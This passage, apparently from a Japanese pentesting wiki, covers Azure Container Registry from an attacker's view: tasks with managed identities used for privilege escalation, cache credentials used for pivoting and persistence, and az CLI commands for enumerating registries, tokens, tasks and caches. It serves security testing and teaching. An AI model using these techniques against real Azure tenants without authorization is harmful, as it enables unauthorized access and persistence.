acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null +``` +しかし、それは攻撃者の視点からはあまり興味深くない実行をトリガーします。なぜなら、それらには管理されたアイデンティティが付いていないからです。 + +しかし、**タスク**には**システムおよびユーザー管理アイデンティティ**を付けることができます。これらのタスクは、コンテナ内で**権限を昇格させる**のに役立ちます。権限昇格のセクションでは、タスクを使用して権限を昇格させる方法を見ることができます。 + +### キャッシュ + +キャッシュ機能は、**外部リポジトリから画像をダウンロード**し、新しいバージョンをレジストリに保存することを可能にします。これは、Azure Vaultから資格情報を選択することで、いくつかの**資格情報を設定**する必要があります。 + +これは攻撃者の視点から非常に興味深いです。なぜなら、攻撃者が資格情報にアクセスするのに十分な権限を持っている場合、**外部プラットフォームにピボット**することを可能にし、**外部リポジトリから画像をダウンロード**し、キャッシュを設定することは**持続メカニズム**としても使用できるからです。 + +## 列挙 + +> [!WARNING] +> レジストリ名に大文字が含まれていても、アクセスするためのURLには小文字のみを使用することが非常に重要です。 +```bash +# List of all the registries +# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... +az acr list + +# Get the details of a registry +az acr show --name + +# List tokens of a registry +az acr token list --registry --resource-group + +# List repositories in a registry +az acr repository list --name --resource-group + +# List the tags of a repository +az acr repository show-tags --repository --name --resource-group + +# List deleted repository tags +## At the time of this writing there isn't yet any command to restore it +az acr repository list-deleted --name + +# List tasks +## Check the git URL or the command +az acr task list --registry + +# List tasks runs +az acr task list-runs --registry + +# List connected registries +az acr connected-registry list --registry + +# List cache +az acr cache list --registry + +# Get cache details +az acr cache show --name --registry +``` +## 権限昇格とポストエクスプロイト + +{{#ref}} +../az-privilege-escalation/az-automation-accounts-privesc.md +{{#endref}} + +## 参考文献 + +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli) +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) + +{{#include ../../../../banners/hacktricks-training.md}}